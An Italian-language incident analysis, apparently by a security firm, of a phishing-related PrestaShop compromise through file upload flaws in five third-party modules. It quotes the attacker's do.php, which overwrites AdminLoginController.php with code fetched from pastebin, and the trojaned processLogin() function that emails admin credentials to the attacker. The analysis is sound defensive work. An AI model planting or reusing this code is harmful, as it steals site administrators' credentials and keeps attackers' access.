Durante l’analisi di un attacco di Phishing ai danni di un nostro cliente, con il supporto dell’amministratore del sito attaccato, abbiamo analizato come gli attaccanti abbiano alterato il Pannello di Amministratore di PrestaShop per inviare le credenziali dell’Admin via eMail.
Nel corso dell’ultimo trimestre cinque moduli esterni nel CMS PrestaShop sono risultati vulnerabili ad un attacco di tipo Remote Arbitrary File Upload, attacco che permette di caricare file di proprio piacimento sul sito internet vulnerabile.
Gli exploit, non diffusi attraverso i canonici canali dell’IT Security, permettono di sfruttare la vulnerabilità sui seguenti moduli:
- simpleslideshow
- columnadverts
- productpageadverts
- soopamobile
- homepageadvertise
Analizzando il backup che ci è stato cortesemente fornito dall’amministratore del sito compromesso abbiamo rilevato non solo la presenza di diverse web shell protette da password o meno ma la nostra attenzione è ricaduta sull’alterazione del pannello di amministratore.
L’alterazione ha lo scopo di fornire all’attaccante le credenziali del pannello di amministrazione, un efficace sistema per preservare l’accesso al sito, anche dopo una eventuale bonifica delle shell presenti nel sito, aggiornamento dei moduli vulnerabili o un comune cambio password.
Come avviene questa compromissione?
L’attaccante sfrutta uno dei moduli vulnerabili per caricare uno o più file PHP sul sito internet, quello di nostro interesse si chiama do.php esso è suddiviso in due parte. La prima parte esegue l’alterazione del pannello di amministratore, la seconda invece è un semplice uploader per caricare ulteriore materiale sul sito senza sfruttare le vulnerabilità dei moduli.
La nostra attenzione ricade sulla prima parte del file, ovvero:
$sss=array('/','../','../../','../../../','../../../../','../../../../../');
foreach($sss as $pa){
$p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
foreach($p1 as $path){
if (file_exists("$path")){
$html = @file_get_contents('http://pastebin.com/raw/XXXXXXXX');
$save=fopen($path,'w');
fwrite($save,$html);
echo "
./done panel
";
}
}
}
...
...
Questa porzione di codice individua inizialmente la presenza del file AdminLoginController.php, se presente lo sostituisce con il codice PHP pubblicato su PasteBin, il codice pubblicato sul famoso portale riprende integralmente il file originale di PrestaShop ma altera la funzione di verifica delle credenziali:
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "[email protected]";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);
if (empty($email)) {
$this->errors[] = Tools::displayError('Email is empty.');
} elseif (!Validate::isEmail($email)) {
$this->errors[] = Tools::displayError('Invalid email address.');
}
if (empty($passwd)) {
$this->errors[] = Tools::displayError('The password field is blank.');
} elseif (!Validate::isPasswd($passwd)) {
$this->errors[] = Tools::displayError('Invalid password.');
}
...
...
La funzione processLogin() ha normalmente il compito di verificare se le credenziali inserite sono corrette, ma attraverso questa alterazione l’attaccante riceverà via eMail le credenziali inserite dall’amministratore.